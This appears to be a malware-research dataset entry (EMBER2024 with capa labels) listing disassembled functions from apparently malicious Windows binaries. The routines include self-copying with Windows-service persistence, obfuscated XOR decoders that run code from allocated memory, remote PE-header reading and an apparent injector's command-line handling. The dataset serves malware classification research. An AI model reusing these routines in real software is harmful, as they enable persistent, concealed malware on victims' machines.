joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406820
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x1fc8
call fcn.00407b80
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491b7c
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x4068c3
push 0x1ec0
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407820
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054b3
push 0x13000
push esi
call fcn.00404e60
push ebx
call fcn.00404687
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491e88], ebx
mov edi, 0x491974
je 0x40691a
push esi
push edi
push 0x491a78
push closesocket
call fcn.0040451c
push 1
push 0x40fb6f
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str._rcgOAcM
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x406913
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x406924
xor eax, eax
jmp 0x406999
cmp dword [0x491e88], ebx
je 0x406937
push ebx
push esi
call fcn.004046b3
pop ecx
pop ecx
jmp 0x406996
cmp dword [0x491e90], ebx
jne 0x406996
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1fc8
ret
Function at 0x406a68
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x21d4
call fcn.00407b80
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
jne 0x406a9c
push dword [ebp + 8]
call fcn.004046f6
test eax, eax
pop ecx
jne 0x406bda
mov edi, str.OcACI
push ebx
push edi
call fcn.00403464
pop ecx
cmp esi, ebx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406ac0
push ebx
call fcn.00404687
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov esi, 0x40f1dc
push ebx
push esi
call fcn.00403464
cmp dword [ebp + 0x10], ebx
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406ae5
push ebx
call fcn.00404687
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00403d8c
lea eax, [ebp - 0x314]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x406bda
lea eax, [ebp - 0x10c]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1ec0
lea eax, [ebp - 0x21d4]
push 0x40e0c0
push eax
call fcn.00407820
lea eax, [ebp - 0x21d4]
mov byte [ebp - 0x11c0], bl
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.004054b3
push ebx
call fcn.00404687
xor edx, edx
mov ecx, 0x2800
div ecx
lea eax, [ebp - 0x10c]
add edx, 0x13200
push edx
push eax
call fcn.00403f63
push dword [ebp - 4]
push edi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407370
push dword [ebp - 8]
push esi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407380
add esp, 0x40
lea eax, [ebp - 0x210]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.004050c1
lea eax, [ebp - 0x10c]
push eax
call fcn.00403dfa
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406d75
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
pop ebx
push 0x927c0
call edi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ax, word [ebp - 0x12]
test bl, al
je 0x406d87
cmp word [ebp - 0xe], 6
jne 0x406d87
and dword [0x491e94], 0
cmp ax, 7
mov dword [0x491e98], ebx
jne 0x406dc0
mov dword [0x491e94], ebx
cmp ax, bx
jne 0x406dcb
mov dword [0x491e94], ebx
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0x406d1c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc esi
cmp esi, 0x1a
jl 0x406dcd
push 0x1b7740
call edi
call fcn.00406d5e
push 0xffffffffffffffff
call edi
jmp 0x406d87
Function at 0x406451
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x238
mov eax, 0x40e9c3
call fcn.0040d3d4
mov dword [ebp - 0x21c], ecx
movzx eax, word [ebp + 8]
xor edi, edi
mov esi, dword [0x4166f0]
inc edi
push 0xf0
push eax
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
test eax, eax
je 0x4065c3
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x4065c3
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4065c3
movzx eax, word [esi]
xor ecx, ecx
cmp cx, ax
je 0x4065c3
mov ecx, dword [esi + 4]
mov ebx, eax
movzx eax, word [esi + 2]
add esi, 8
mov dword [ebp - 0x220], ecx
mov ecx, 0x403
cmp cx, ax
jne 0x40653b
push 3
lea eax, [ebp - 0x110]
push esi
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], eax
call main
push dword [ebp - 0x114]
mov eax, dword [ebp - 0x21c]
and dword [ebp - 4], 0
push 0
push 0x143
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
lea eax, [ebp - 0x110]
cmove edi, ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x114], eax
je 0x4065b1
push dword [ebp - 0x114]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x4065b1
mov ecx, 0x1234
cmp cx, ax
jne 0x4065b1
or dword [ebp - 0x240], 0xffffffff
lea eax, [ebp - 0x214]
push 3
push esi
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x244], 1
mov dword [ebp - 0x218], eax
call main
mov eax, dword [ebp - 0x218]
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x23c], eax
cmp eax, ecx
je 0x40658e
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
lea eax, [ebp - 0x244]
push eax
mov eax, dword [ebp - 0x21c]
push 0
push 0x40b
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
cmp eax, 0xffffffff
je 0x4065c1
add esi, dword [ebp - 0x220]
test edi, edi
jne 0x4064a9
jmp 0x4065c3
xor edi, edi
mov eax, edi
call fcn.0040d38f
ret 4

Function at 0x4073a4
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0x10]
mov eax, esi
mov dword [ebp - 4], ecx
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call main
add esi, esi
mov ebx, eax
push esi
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.kernel32.dll_lstrcpyW]
push esi
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 4]
add esp, 0xc
add eax, 0x25c
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
push str.labels
call dword [sym.imp.kernel32.dll_GetPrivateProfileStringW]
push ebx
call fcn.0040d120
mov eax, dword [ebp + 0xc]
pop ecx
pop esi
pop ebx
leave
ret 0xc
Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40345b
pop dword [ebp - 0x20]
mov eax, 0x40345b
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x120b2e4e
sub dword [ebp - 0x30], 0xc3b8e903
mov dword [ebp - 0x2c], 0x97d984bf
add dword [ebp - 0x2c], 0x9a59c786
mov dword [ebp - 0x28], 0x7d253472
sub dword [ebp - 0x28], 0x30d8f044
mov dword [ebp - 0x24], 0xa7c710a6
add dword [ebp - 0x24], 0x5838ef5a
lea eax, [ebp - 0x30]
push eax
mov eax, 0xf7b4332
add eax, 0xf0c4fd22
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xe0f328ec
sub dword [ebp - 0x30], 0x6c80bf96
mov dword [ebp - 0x2c], 0xb4afc06e
add dword [ebp - 0x2c], 0x8cbca107
mov dword [ebp - 0x28], 0x9a6c9dca
add dword [ebp - 0x28], 0xc902cea2
mov dword [ebp - 0x24], 0xe080267f
sub dword [ebp - 0x24], 0xe080267f
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x88dd01db
sub eax, 0x889cc18b
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x376ab
push 0
call eax
mov ecx, 0x4a35
mov edx, eax
mov ebx, 0xf8b4524b
add ebx, 0x78c31b5
add ebx, dword [ebp - 0x20]
mov esi, 0xc1d9426e
sub esi, 0xab92933a
add dword [ebp - 0x10], edi
mov edi, dword [ebx]
add dword [ebp - 4], 0x4522e493
xor edi, esi
add dword [ebp - 4], 0xb2ce68ba
mov dword [edx], edi
sub dword [ebp - 0x18], 0x6b5e3a9c
add edx, 0x481efe70
sub edx, 0x481efe6c
add ebx, 0x2c092eeb
sub ebx, 0x2c092ee7
loop 0x403572
add eax, 0xb90addb2
add eax, 0x46f63df5
mov ebx, eax
add eax, 0x7814e34a
add eax, 0x87eb1cbb
mov ecx, 0xe42fdef5
add ecx, 0x1c10210b
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x401220
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 2
mov dword [ebp - 0x238], ecx
mov dword [ebp - 0x234], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401266
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402b21
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4012c4
push ebx
mov ebx, dword [sym.imp.VCRUNTIME140.dll_wcsstr]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x238]
call ebx
add esp, 8
test eax, eax
jne 0x4012b6
lea eax, [ebp - 0x230]
push eax
push esi
call edi
test eax, eax
jne 0x401290
jmp 0x4012c2
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x234], eax
pop edi
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x234]
xor ecx, ebp
pop esi
call fcn.00402b21
mov esp, ebp
pop ebp
ret
Function at 0x4012e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov dword [ebp - 0x17c], edi
test esi, esi
je 0x40147e
test edi, edi
je 0x40147e
push 0x40
lea eax, [ebp - 0x174]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x174]
add esp, 0xc
push 0
push 0x40
push eax
push edi
push esi
call ebx
test eax, eax
je 0x40147e
mov eax, ??1?$basic_ios@DU?$char_traits@D@std@@@std@@UAE@XZ
cmp word [ebp - 0x174], ax
jne 0x40147e
push 0xf8
lea eax, [ebp - 0x12c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x12c]
push 0
push 0xf8
push eax
mov eax, dword [ebp - 0x138]
add eax, edi
push eax
push esi
call ebx
test eax, eax
je 0x40147e
cmp dword [ebp - 0x12c], 0x4550
jne 0x40147e
mov eax, dword [ebp - 0xb4]
xorps xmm0, xmm0
movq qword [ebp - 0x14], xmm0
movups xmmword [ebp - 0x34], xmm0
movups xmmword [ebp - 0x24], xmm0
test eax, eax
je 0x40147e
push 0
push 0x28
lea ecx, [ebp - 0x34]
add eax, edi
push ecx
push eax
push esi
call ebx
test eax, eax
je 0x40147e
mov eax, dword [ebp - 0x18]
add eax, edi
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x14]
add eax, edi
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
add eax, edi
push 7
mov dword [ebp - 0x180], eax
call fcn.00402b72
xor edi, edi
mov dword [ebp - 0x178], eax
add esp, 4
cmp dword [ebp - 0x1c], edi
jbe 0x401475
mov eax, dword [ebp - 0xc]
push 0
push 4
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x130], 0
push ecx
push eax
push esi
call ebx
test eax, eax
je 0x40147e
mov eax, dword [ebp - 0x130]
add eax, dword [ebp - 0x17c]
push 0
push 7
push dword [ebp - 0x178]
push eax
push esi
call ebx
test eax, eax
je 0x40147e
push dword [ebp - 0x178]
push 0x4043a8
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x401491
mov eax, dword [ebp - 0xc]
inc edi
add eax, 4
mov dword [ebp - 0xc], eax
cmp edi, dword [ebp - 0x1c]
jb 0x401410
mov eax, dword [ebp - 0x178]
push eax
call fcn.00402b2f
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00402b21
mov esp, ebp
pop ebp
ret
push 0
push 2
lea eax, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x180]
lea eax, [eax + edi*2]
push eax
push esi
call ebx
test eax, eax
je 0x40147e
mov ecx, dword [ebp - 0x184]
lea eax, [ebp - 0xc]
push 0
push 4
push eax
movzx eax, word [ebp - 0x134]
mov dword [ebp - 0xc], 0
lea eax, [ecx + eax*4]
push eax
push esi
call ebx
test eax, eax
je 0x40147e
push dword [ebp - 0x178]
call fcn.00402b2f
mov ecx, dword [ebp - 8]
add esp, 4
mov eax, dword [ebp - 0xc]
xor ecx, ebp
add eax, dword [ebp - 0x17c]
pop edi
pop esi
pop ebx
call fcn.00402b21
mov esp, ebp
pop ebp
ret
Function at 0x401da0
Capabilities:
Accept command line arguments
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xor al, al
mov dword [ebp - 0x210], 0
add esp, 0xc
mov byte [ebp - 0x211], al
mov byte [ebp - 0x212], al
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor ebx, ebx
mov edi, eax
mov dword [ebp - 0x218], edi
cmp dword [ebp - 0x210], ebx
jle 0x401f6f
mov esi, dword [sym.imp.VCRUNTIME140.dll_wcsstr]
push 0x4043b0
push dword [edi + ebx*4]
call esi
add esp, 8
test eax, eax
jne 0x401e36
push str._target
push dword [edi + ebx*4]
call esi
add esp, 8
test eax, eax
je 0x401e7a
inc ebx
cmp ebx, dword [ebp - 0x210]
jge 0x401fbb
mov esi, dword [edi + ebx*4]
lea eax, [ebp - 0x20c]
push eax
mov ecx, 0x41
mov byte [ebp - 0x211], 1
lea edi, [ebp - 0x20c]
rep movsd dword es:[edi], dword [esi]
push str.Target_process_name__ls_n
call fcn.00401050
mov esi, dword [sym.imp.VCRUNTIME140.dll_wcsstr]
add esp, 8
mov edi, dword [ebp - 0x218]
push 0x4043ec
push dword [edi + ebx*4]
call esi
add esp, 8
test eax, eax
jne 0x401e9c
push str._module
push dword [edi + ebx*4]
call esi
add esp, 8
test eax, eax
je 0x401ed9
inc ebx
cmp ebx, dword [ebp - 0x210]
jge 0x401fbb
mov esi, dword [edi + ebx*4]
push esi
push str.Library_module_name__ls_n
call fcn.00401050
mov ecx, 0x41
mov byte [0x407588], 1
mov edi, 0x40758c
add esp, 8
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.VCRUNTIME140.dll_wcsstr]
mov edi, dword [ebp - 0x218]
push 0x404420
push dword [edi + ebx*4]
call esi
add esp, 8
test eax, eax
jne 0x401efb
push str._existing
push dword [edi + ebx*4]
call esi
add esp, 8
test eax, eax
je 0x401f0f
push str.Loading_to_existing_process_n
call fcn.00401050
add esp, 4
mov byte [ebp - 0x212], 1
push str._hwid
push dword [edi + ebx*4]
call esi
add esp, 8
test eax, eax
je 0x401f34
push str.Spoofing_HWID_n
call fcn.00401050
add esp, 4
mov byte [0x407589], 1
push str._regmon
push dword [edi + ebx*4]
call esi
add esp, 8
test eax, eax
je 0x401f59
push str.Registry_Monitoring_n
call fcn.00401050
add esp, 4
mov byte [0x40758a], 1
inc ebx
cmp ebx, dword [ebp - 0x210]
jl 0x401e14
cmp byte [ebp - 0x211], 0
jne 0x401f8e
mov ecx, 0x41
mov byte [0x407589], 1
mov esi, 0x4044a0
lea edi, [ebp - 0x20c]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0x218]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dl, byte [ebp - 0x212]
lea ecx, [ebp - 0x20c]
call fcn.00401a50
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402b21
mov esp, ebp
pop ebp
ret 0x10
push 0x4043e4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x401fa6
Function at 0x4033f7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403436
mov ecx, ??1?$basic_ios@DU?$char_traits@D@std@@@std@@UAE@XZ
cmp word [eax], cx
jne 0x403436
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403436
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403436
cmp dword [ecx + 0x74], 0xe
jbe 0x403436
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x424cd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x424cdf
pop dword [ebp - 0x28]
mov eax, 0x424cdf
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x40c1a47c
add dword [ebp - 0x38], 0xd90a0cf
mov dword [ebp - 0x34], 0x92b7e7c4
sub dword [ebp - 0x34], 0x60849b7f
mov dword [ebp - 0x30], 0x1734e359
add dword [ebp - 0x30], 0x351760d5
mov dword [ebp - 0x2c], 0x3b555a1b
add dword [ebp - 0x2c], 0xc4aaa5e5
lea eax, [ebp - 0x38]
push eax
mov eax, 0x74fb697f
add eax, 0x8b483731
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xc8e94dd7
sub dword [ebp - 0x38], 0x5476e481
mov dword [ebp - 0x34], 0xea5b2c41
sub dword [ebp - 0x34], 0xa8eecacc
mov dword [ebp - 0x30], 0x2be455c3
add dword [ebp - 0x30], 0x378b16a9
mov dword [ebp - 0x2c], 0xc747595
add dword [ebp - 0x2c], 0xf38b8a6b
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x9114817c
sub eax, 0x90d0e144
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3b520
push 0
call eax
mov ecx, 0xfff4e73
sub ecx, 0xfff1213
mov edx, eax
mov esi, 0x737057ac
add esi, 0x8cd52254
add esi, dword [ebp - 0x28]
mov ebx, 0xd665e591
add ebx, 0x9031515f
add dword [ebp - 0x14], ecx
mov edi, dword [esi]
xor dword [ebp - 0xc], 0xf5f77684
xor edi, ebx
xor dword [ebp - 0x24], 0x67257f32
mov dword [edx], edi
mov dword [ebp - 0x1c], 0xf3f381e7
add edx, 4
add esi, 4
loop 0x424dfc
add eax, 0xe453
xor ebx, ebx
add ebx, eax
add eax, 0xd149c6c4
add eax, 0x2eb63941
mov ecx, 0xc1b2f307
sub ecx, 0xc172f307
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x403d39
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x403e85
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
push edi
mov edi, dword [esp + 0x10]
call ebx
sub byte [esi + edi], 2
call ebx
add byte [esi + edi], 0x83
call ebx
xor byte [esi + edi], 0x94
call ebx
add byte [esi + edi], 0xd6
call ebx
add byte [esi + edi], 0x3a
call ebx
add byte [esi + edi], 0x9a
call ebx
add byte [esi + edi], 0xa4
call ebx
xor byte [esi + edi], 0x10
call ebx
add byte [esi + edi], 0xdc
call ebx
add byte [esi + edi], 2
call ebx
xor byte [esi + edi], 0x48
call ebx
add byte [esi + edi], 0x51
call ebx
add byte [esi + edi], 0x76
call ebx
add byte [esi + edi], 0xd7
call ebx
add byte [esi + edi], 0xef
call ebx
add byte [esi + edi], 0x93
call ebx
xor byte [esi + edi], 0xe5
call ebx
add byte [esi + edi], 0xfb
call ebx
add byte [esi + edi], 0xa
call ebx
add byte [esi + edi], 0x70
call ebx
add byte [esi + edi], 0x5a
call ebx
add byte [esi + edi], 0xb3
call ebx
add byte [esi + edi], 0xe4
call ebx
add byte [esi + edi], 0xb8
call ebx
add byte [esi + edi], 0x2d
call ebx
xor byte [esi + edi], 0xe0
call ebx
add byte [esi + edi], 0xd8
call ebx
add byte [esi + edi], 0x1c
call ebx
add byte [esi + edi], 0x66
call ebx
add byte [esi + edi], 0x1b
call ebx
add byte [esi + edi], 0x7d
call ebx
xor byte [esi + edi], 0x77
call ebx
xor byte [esi + edi], 0x54
call ebx
xor byte [esi + edi], 0x41
call ebx
add byte [esi + edi], 0x2a
call ebx
add byte [esi + edi], 0xc6
call ebx
xor byte [esi + edi], 0x64
call ebx
add byte [esi + edi], 0x9a
call ebx
add byte [esi + edi], 0x59
call ebx
xor byte [esi + edi], 0x13
call ebx
add byte [esi + edi], 0xa3
call ebx
xor byte [esi + edi], 0x7f
call ebx
add byte [esi + edi], 0x2f
call ebx
xor byte [esi + edi], 0x7e
call ebx
add byte [esi + edi], 0x36
call ebx
xor byte [esi + edi], 0xf7
call ebx
add byte [esi + edi], 0x40
call ebx
add byte [esi + edi], 0x7d
call ebx
add byte [esi + edi], 0x12
inc esi
cmp esi, dword [esp + 0x14]
jb 0x403d52
pop edi
pop ebx
pop esi
ret

Function at 0x403f0f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x45d6ec]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x403f78
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b44
lea eax, [esp + 0x14]
push 0x14d
push eax
call fcn.004040e6
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x403f90
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00403ab2
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x403f40
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405f4c
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00403ab2
jmp 0x403f7a